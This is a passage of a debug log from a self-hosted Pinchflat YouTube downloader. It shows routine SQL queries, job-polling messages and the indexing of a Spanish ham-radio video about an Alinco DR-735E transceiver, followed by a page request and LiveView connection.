s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:36:48.458 [debug] QUERY OK source="media_profiles" db=0.4ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:36:48.458 [debug] QUERY OK source="media_items" db=0.4ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1357] 22:36:48.459 [debug] Current batch of media processed. Will check again in 1000ms 22:36:48.510 [debug] Current batch of media processed. Will check again in 1000ms 22:36:49.459 [debug] Current batch of media processed. Will check again in 1000ms 22:36:49.511 [debug] Current batch of media processed. Will check again in 1000ms 22:36:50.460 [debug] Current batch of media processed. Will check again in 1000ms 22:36:50.512 [debug] Current batch of media processed. Will check again in 1000ms 22:36:51.233 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:36:51.461 [debug] Current batch of media processed. Will check again in 1000ms 22:36:51.513 [debug] Current batch of media processed. Will check again in 1000ms 22:36:52.462 [debug] Current batch of media processed. Will check again in 1000ms 22:36:52.514 [debug] Current batch of media processed. Will check again in 1000ms 22:36:53.463 [debug] Current batch of media processed. Will check again in 1000ms 22:36:53.515 [debug] Current batch of media processed. Will check again in 1000ms 22:36:54.464 [debug] Current batch of media processed. Will check again in 1000ms 22:36:54.516 [debug] Current batch of media processed. Will check again in 1000ms 22:36:55.465 [debug] Current batch of media processed. Will check again in 1000ms 22:36:55.517 [debug] Current batch of media processed. Will check again in 1000ms 22:36:56.466 [debug] Current batch of media processed. Will check again in 1000ms 22:36:56.518 [debug] Current batch of media processed. Will check again in 1000ms 22:36:57.467 [debug] Current batch of media processed. Will check again in 1000ms 22:36:57.519 [debug] Current batch of media processed. Will check again in 1000ms 22:36:58.468 [debug] Current batch of media processed. Will check again in 1000ms 22:36:58.520 [debug] Current batch of media processed. Will check again in 1000ms 22:36:59.469 [debug] Current batch of media processed. Will check again in 1000ms 22:36:59.521 [debug] Current batch of media processed. Will check again in 1000ms 22:37:00.119 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:37:00.470 [debug] Current batch of media processed. Will check again in 1000ms 22:37:00.522 [debug] Current batch of media processed. Will check again in 1000ms 22:37:01.471 [debug] Current batch of media processed. Will check again in 1000ms 22:37:01.523 [debug] Current batch of media processed. Will check again in 1000ms 22:37:02.472 [debug] Current batch of media processed. Will check again in 1000ms 22:37:02.524 [debug] Current batch of media processed. Will check again in 1000ms 22:37:03.473 [debug] Current batch of media processed. Will check again in 1000ms 22:37:03.525 [debug] Current batch of media processed. Will check again in 1000ms 22:37:04.474 [debug] Current batch of media processed. Will check again in 1000ms 22:37:04.526 [debug] Current batch of media processed. Will check again in 1000ms 22:37:05.475 [debug] Current batch of media processed. Will check again in 1000ms 22:37:05.527 [debug] Current batch of media processed. Will check again in 1000ms 22:37:06.476 [debug] Current batch of media processed. Will check again in 1000ms 22:37:06.528 [debug] Current batch of media processed. Will check again in 1000ms 22:37:07.477 [debug] Current batch of media processed. Will check again in 1000ms 22:37:07.529 [debug] Current batch of media processed. Will check again in 1000ms 22:37:08.478 [debug] Current batch of media processed. Will check again in 1000ms 22:37:08.530 [debug] Current batch of media processed. Will check again in 1000ms 22:37:09.479 [debug] Current batch of media processed. Will check again in 1000ms 22:37:09.531 [debug] Current batch of media processed. Will check again in 1000ms 22:37:10.480 [debug] Current batch of media processed. Will check again in 1000ms 22:37:10.532 [debug] Current batch of media processed. Will check again in 1000ms 22:37:11.481 [debug] Current batch of media processed. Will check again in 1000ms 22:37:11.533 [debug] Current batch of media processed. Will check again in 1000ms 22:37:12.482 [debug] Current batch of media processed. Will check again in 1000ms 22:37:12.534 [debug] Current batch of media processed. Will check again in 1000ms 22:37:13.483 [debug] Current batch of media processed. Will check again in 1000ms 22:37:13.535 [debug] Current batch of media processed. Will check again in 1000ms 22:37:14.484 [debug] Current batch of media processed. Will check again in 1000ms 22:37:14.536 [debug] Current batch of media processed. Will check again in 1000ms 22:37:15.485 [debug] Current batch of media processed. Will check again in 1000ms 22:37:15.537 [debug] Current batch of media processed. Will check again in 1000ms 22:37:16.486 [debug] Current batch of media processed. Will check again in 1000ms 22:37:16.538 [debug] Current batch of media processed. Will check again in 1000ms 22:37:17.487 [debug] Current batch of media processed. Will check again in 1000ms 22:37:17.539 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Aunque personalmente no estoy de acuerdo en abrir indiscriminadamente los rangos de transmisión de los equipos, esta claro que la información ha de ser libre. Por ese motivo os incluyo este video.\n\n#alinco #DR-735E #radioaficionados #hamradio #bibanda #vhf #uhf #bandaaerea #aviacion #radio #transpondedor #pmr \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 550, "filename" => "/downloads/music/ea3grn/132 - ABRIR BANDAS TX ALINCO DR735E Y HABILITAR TRASPONDEDOR.m4a", "id" => "5FJlqMYLBWU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=5FJlqMYLBWU", "playlist_index" => 49, "timestamp" => 1712250007, "title" => "132 - ABRIR BANDAS TX ALINCO DR735E Y HABILITAR TRASPONDEDOR", "upload_date" => "20240404"} 22:37:17.540 [debug] QUERY OK source="sources" db=0.5ms idle=1777.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:37:17.541 [debug] QUERY OK source="sources" db=0.4ms idle=1778.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:37:17.542 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=1778.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-04 17:00:07Z], 3] 22:37:17.543 [debug] QUERY OK source="media_items" db=1.1ms idle=1779.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Aunque personalmente no estoy de acuerdo en abrir indiscriminadamente los rangos de transmisión de los equipos, esta claro que la información ha de ser libre. Por ese motivo os incluyo este video.\n\n#alinco #DR-735E #radioaficionados #hamradio #bibanda #vhf #uhf #bandaaerea #aviacion #radio #transpondedor #pmr \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "132 - ABRIR BANDAS TX ALINCO DR735E Y HABILITAR TRASPONDEDOR", "a0a28c28-d89b-4270-9690-69bc1bdb6f30", 550, false, "5FJlqMYLBWU", "https://www.youtube.com/watch?v=5FJlqMYLBWU", 49, "/downloads/music/ea3grn/132 - ABRIR BANDAS TX ALINCO DR735E Y HABILITAR TRASPONDEDOR.m4a", false, false, false, 3, [], 98, ~U[2024-04-04 17:00:07Z], ~U[2026-02-07 21:37:17Z], ~U[2026-02-07 21:37:17Z], "Aunque personalmente no estoy de acuerdo en abrir indiscriminadamente los rangos de transmisión de los equipos, esta claro que la información ha de ser libre. Por ese motivo os incluyo este video.\n\n#alinco #DR-735E #radioaficionados #hamradio #bibanda #vhf #uhf #bandaaerea #aviacion #radio #transpondedor #pmr \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "132 - ABRIR BANDAS TX ALINCO DR735E Y HABILITAR TRASPONDEDOR", 550, false, "5FJlqMYLBWU", "https://www.youtube.com/watch?v=5FJlqMYLBWU", "/downloads/music/ea3grn/132 - ABRIR BANDAS TX ALINCO DR735E Y HABILITAR TRASPONDEDOR.m4a", false, 3, ~U[2024-04-04 17:00:07Z]] 22:37:17.544 [debug] QUERY OK source="sources" db=0.5ms idle=831.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:37:17.545 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:37:17.546 [debug] QUERY OK source="media_items" db=0.5ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1393] 22:37:17.546 [debug] Current batch of media processed. Will check again in 1000ms 22:37:18.488 [debug] Current batch of media processed. Will check again in 1000ms 22:37:18.546 [debug] Current batch of media processed. Will check again in 1000ms 22:37:19.489 [debug] Current batch of media processed. Will check again in 1000ms 22:37:19.547 [debug] Current batch of media processed. Will check again in 1000ms 22:37:20.490 [debug] Current batch of media processed. Will check again in 1000ms 22:37:20.548 [debug] Current batch of media processed. Will check again in 1000ms 22:37:21.235 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:21.491 [debug] Current batch of media processed. Will check again in 1000ms 22:37:21.549 [debug] Current batch of media processed. Will check again in 1000ms 22:37:22.492 [debug] Current batch of media processed. Will check again in 1000ms 22:37:22.550 [debug] Current batch of media processed. Will check again in 1000ms 22:37:23.493 [debug] Current batch of media processed. Will check again in 1000ms 22:37:23.551 [debug] Current batch of media processed. Will check again in 1000ms 22:37:24.494 [debug] Current batch of media processed. Will check again in 1000ms 22:37:24.552 [debug] Current batch of media processed. Will check again in 1000ms 22:37:25.178 [info] GET /sources/5/ 22:37:25.179 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "5"} Pipelines: [:browser] 22:37:25.181 [debug] QUERY OK source="sources" db=0.4ms queue=0.3ms idle=452.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:37:25.182 [debug] QUERY OK source="media_profiles" db=0.5ms idle=418.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:37:25.183 [debug] QUERY OK source="tasks" db=0.5ms idle=419.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [5, "executing", "available", "scheduled", "retryable"] 22:37:25.183 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=420.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [862] 22:37:25.186 [debug] QUERY OK source="settings" db=0.4ms idle=423.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:25.186 [debug] QUERY OK source="settings" db=0.3ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:25.188 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:37:25.192 [debug] QUERY OK source="sources" db=0.4ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:37:25.193 [debug] QUERY OK source="media_items" db=0.4ms queue=0.2ms idle=9.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 22:37:25.194 [debug] QUERY OK source="media_items" db=0.6ms queue=0.2ms idle=7.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:37:25.195 [debug] QUERY OK source="sources" db=0.3ms queue=0.2ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:37:25.196 [debug] QUERY OK source="media_items" db=0.4ms idle=7.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 22:37:25.197 [debug] QUERY OK source="media_items" db=0.5ms idle=3.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:37:25.198 [debug] QUERY OK source="sources" db=0.5ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:37:25.198 [debug] QUERY OK source="media_items" db=0.5ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 22:37:25.199 [debug] QUERY OK source="media_items" db=0.7ms idle=3.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:37:25.201 [info] Sent 200 in 22ms 22:37:25.440 [info] CONNECTED TO Phoenix.LiveView.Socket in 222µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "VXwlHHwlABsGJzAeCwEbPhIxHihAFy1S-OWhDWSyCjswa3XWAnPi6Pak", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.javi.fr/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "https://pinchflat.javi.fr/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:37:25.495 [debug] Current batch of media processed. Will check again in 1000ms 22:37:25.553 [debug] Current batch of media processed. Will check again in 1000ms 22:37:25.555 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", "media_state" => "pending", "source_id" => 5} 22:37:25.556 [debug] QUERY OK source="sources" db=0.5ms idle=359.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:37:25.557 [debug] QUERY OK source="media_items" db=0.6ms idle=359.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 22:37:25.558 [debug] QUERY OK source="media_items" db=0.8ms idle=359.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS 